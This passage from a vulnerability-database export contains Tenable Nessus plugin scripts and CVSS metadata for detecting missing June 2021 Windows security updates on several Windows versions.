Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(150368);\n script_version(\"1.15\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/15\");\n\n script_cve_id(\n \"CVE-2021-1675\",\n \"CVE-2021-26414\",\n \"CVE-2021-31199\",\n \"CVE-2021-31201\",\n \"CVE-2021-31953\",\n \"CVE-2021-31954\",\n \"CVE-2021-31956\",\n \"CVE-2021-31958\",\n \"CVE-2021-31959\",\n \"CVE-2021-31962\",\n \"CVE-2021-31968\",\n \"CVE-2021-31971\",\n \"CVE-2021-31973\",\n \"CVE-2021-33742\"\n );\n script_xref(name:\"MSKB\", value:\"5003667\");\n script_xref(name:\"MSKB\", value:\"5003694\");\n script_xref(name:\"MSFT\", value:\"MS21-5003667\");\n script_xref(name:\"MSFT\", value:\"MS21-5003694\");\n script_xref(name:\"IAVA\", value:\"2021-A-0280-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0279-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0032\");\n\n script_name(english:\"KB5003694: Windows 7 and Windows Server 2008 R2 Security Update (June 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5003694. It is, therefore, affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5003694\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5003667\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Cumulative Update 5003694\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-31956\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-31962\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/06/08\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-06';\nkbs = make_list(\n '5003694',\n '5003667'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win7:'1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'6.1', \n sp:1,\n rollup_date:'06_2021',\n bulletin:bulletin,\n rollup_kb_list:[5003694, 5003667])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-16T14:28:24", "description": "The remote Windows host is missing security update 5003697. It is, therefore, affected by multiple vulnerabilities", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-08T00:00:00", "type": "nessus", "title": "KB5003697: Windows Server 2012 Security Update (June 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26414", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31953", "CVE-2021-31954", "CVE-2021-31956", "CVE-2021-31958", "CVE-2021-31959", "CVE-2021-31962", "CVE-2021-31968", "CVE-2021-31970", "CVE-2021-31971", "CVE-2021-31973", "CVE-2021-31974", "CVE-2021-31975", "CVE-2021-31976", "CVE-2021-33742"], "modified": "2023-02-15T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_JUN_5003697.NASL", "href": "https://www.tenable.com/plugins/nessus/150363", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(150363);\n script_version(\"1.14\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/15\");\n\n script_cve_id(\n \"CVE-2021-1675\",\n \"CVE-2021-26414\",\n \"CVE-2021-31199\",\n \"CVE-2021-31201\",\n \"CVE-2021-31953\",\n \"CVE-2021-31954\",\n \"CVE-2021-31956\",\n \"CVE-2021-31958\",\n \"CVE-2021-31959\",\n \"CVE-2021-31962\",\n \"CVE-2021-31968\",\n \"CVE-2021-31970\",\n \"CVE-2021-31971\",\n \"CVE-2021-31973\",\n \"CVE-2021-31974\",\n \"CVE-2021-31975\",\n \"CVE-2021-31976\",\n \"CVE-2021-33742\"\n );\n script_xref(name:\"MSKB\", value:\"5003697\");\n script_xref(name:\"MSFT\", value:\"MS21-5003697\");\n script_xref(name:\"IAVA\", value:\"2021-A-0280-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0279-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0032\");\n\n script_name(english:\"KB5003697: Windows Server 2012 Security Update (June 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5003697. It is, therefore, affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5003697\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Cumulative Update 5003697\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-31956\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-31962\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/06/08\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-06';\nkbs = make_list(\n '5003697'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win8:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'6.2', \n sp:0,\n rollup_date:'06_2021',\n bulletin:bulletin,\n rollup_kb_list:[5003697])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-16T14:27:53", "description": "The remote Windows host is missing security update 5003681. It is, therefore, affected by multiple vulnerabilities", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-08T00:00:00", "type": "nessus", "title": "KB5003681: Windows Server 2012 R2 Security Update (June 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26414", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31953", "CVE-2021-31954", "CVE-2021-31956", "CVE-2021-31958", "CVE-2021-31959", "CVE-2021-31962", "CVE-2021-31968", "CVE-2021-31970", "CVE-2021-31971", "CVE-2021-31972", "CVE-2021-31973", "CVE-2021-31974", "CVE-2021-31975", "CVE-2021-31976", "CVE-2021-33742"], "modified": "2023-02-15T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_JUN_5003681.NASL", "href": "https://www.tenable.com/plugins/nessus/150354", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(150354);\n script_version(\"1.14\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/15\");\n\n script_cve_id(\n \"CVE-2021-1675\",\n \"CVE-2021-26414\",\n \"CVE-2021-31199\",\n \"CVE-2021-31201\",\n \"CVE-2021-31953\",\n \"CVE-2021-31954\",\n \"CVE-2021-31956\",\n \"CVE-2021-31958\",\n \"CVE-2021-31959\",\n \"CVE-2021-31962\",\n \"CVE-2021-31968\",\n \"CVE-2021-31970\",\n \"CVE-2021-31971\",\n \"CVE-2021-31972\",\n \"CVE-2021-31973\",\n \"CVE-2021-31974\",\n \"CVE-2021-31975\",\n \"CVE-2021-31976\",\n \"CVE-2021-33742\"\n );\n script_xref(name:\"MSKB\", value:\"5003671\");\n script_xref(name:\"MSKB\", value:\"5003681\");\n script_xref(name:\"MSFT\", value:\"MS21-5003671\");\n script_xref(name:\"MSFT\", value:\"MS21-5003681\");\n script_xref(name:\"IAVA\", value:\"2021-A-0280-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0279-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0032\");\n\n script_name(english:\"KB5003681: Windows Server 2012 R2 Security Update (June 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5003681. It is, therefore, affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5003681\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5003671\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Cumulative Update 5003681\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-31956\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-31962\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/06/08\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-06';\nkbs = make_list(\n '5003681',\n '5003671'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win81:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'6.3', \n sp:0,\n rollup_date:'06_2021',\n bulletin:bulletin,\n rollup_kb_list:[5003681, 5003671])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-16T14:28:08", "description": "The remote Windows host is missing security update 5003638. It is, therefore, affected by multiple vulnerabilities", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-08T00:00:00", "type": "nessus", "title": "KB5003638: Windows 10 version 1607 / Windows Server 2016 Security Update (June 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26414", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31953", "CVE-2021-31954", "CVE-2021-31956", "CVE-2021-31958", "CVE-2021-31959", "CVE-2021-31962", "CVE-2021-31968", "CVE-2021-31970", "CVE-2021-31971", "CVE-2021-31972", "CVE-2021-31973", "CVE-2021-31974", "CVE-2021-31975", "CVE-2021-31976", "CVE-2021-31977", "CVE-2021-33742"], "modified": "2023-02-15T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_JUN_5003638.NASL", "href": "https://www.tenable.com/plugins/nessus/150367", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(150367);\n script_version(\"1.14\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/15\");\n\n script_cve_id(\n \"CVE-2021-1675\",\n \"CVE-2021-26414\",\n \"CVE-2021-31199\",\n \"CVE-2021-31201\",\n \"CVE-2021-31953\",\n \"CVE-2021-31954\",\n \"CVE-2021-31956\",\n \"CVE-2021-31958\",\n \"CVE-2021-31959\",\n \"CVE-2021-31962\",\n \"CVE-2021-31968\",\n \"CVE-2021-31970\",\n \"CVE-2021-31971\",\n \"CVE-2021-31972\",\n \"CVE-2021-31973\",\n \"CVE-2021-31974\",\n \"CVE-2021-31975\",\n \"CVE-2021-31976\",\n \"CVE-2021-31977\",\n \"CVE-2021-33742\"\n );\n script_xref(name:\"MSKB\", value:\"5003638\");\n script_xref(name:\"MSFT\", value:\"MS21-5003638\");\n script_xref(name:\"IAVA\", value:\"2021-A-0280-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0279-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0032\");\n\n script_name(english:\"KB5003638: Windows 10 version 1607 / Windows Server 2016 Security Update (June 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5003638. It is, therefore, affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5003638\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Cumulative Update 5003638\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-31956\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-31962\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/06/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/06/08\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-06';\nkbs = make_list(\n '5003638'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'10', \n sp:0,\n os_build:'14393',\n rollup_date:'06_2021',\n bulletin:bulletin,\n rollup_kb_list:[5003638])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-16T14:27:53", "description": "The remote Windows host is missing security update 5003687. It is, therefore, affected by multiple vulnerabilities", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-08T00:00:00", "type": "nessus", "title": "KB5003687: Windows 10 version 1507 LTS Security Update (June 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26414", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31953", "CVE-2021-31954", "CVE-2021-31956", "CVE-2021-31958", "CVE-2021-31959", "CVE-2021-31962", "CVE-2021-31968", "CVE-2021-31970", "CVE-2021-31971", "CVE-2021-31972", "CVE-2021-31973", "CVE-2021-31974", "CVE-2021-31975", "CVE-2021-31976", "CVE-2021-31977", "CVE-2021-33742"], "modified": "2023-02-15T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_JUN_5003687.NASL", "href": "https://www.tenable.com/plugins/nessus/150353", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(150353);\n script_version(\"1.14\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/15\");\n\n script_cve_id(\n \"CVE-2021-1675\",\n \"CVE-2021-26414\",\n \"CVE-2021-31199\",\n \"CVE-2021-31201\",\n \"CVE-2021-31953\",\n \"CVE-2021-31954\",\n \"CVE-2021-31956\",\n \"CVE-2021-31958\",\n \"CVE-2021-31959\",\n \"CVE-2021-31962\",\n \"CVE-2021-31968\",\n \"CVE-2021-31970\",\n \"CVE-2021-31971\",\n \"CVE-2021-31972\",\n \"CVE-2021-31973\",\n \"CVE-2021-31974\",\n \"CVE-2021-31975\",\n \"CVE-2021-31976\",\n \"CVE-2021-31977\",\n \"CVE-2021-33742\"\n );\n script_xref(name:\"MSKB\", value:\"5003687\");\n script_xref(name:\"MSFT\", value:\"MS21-5003687\");\n script_xref(name:\"IAVA\", value:\"2021-A-0280-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0279-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0032\");\n\n script_name(english:\"KB5003687: Windows 10 version 1507 LTS Security Update (June 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5003687. It is, therefore, affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5003687\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Cumulative Update 5003687\");\n 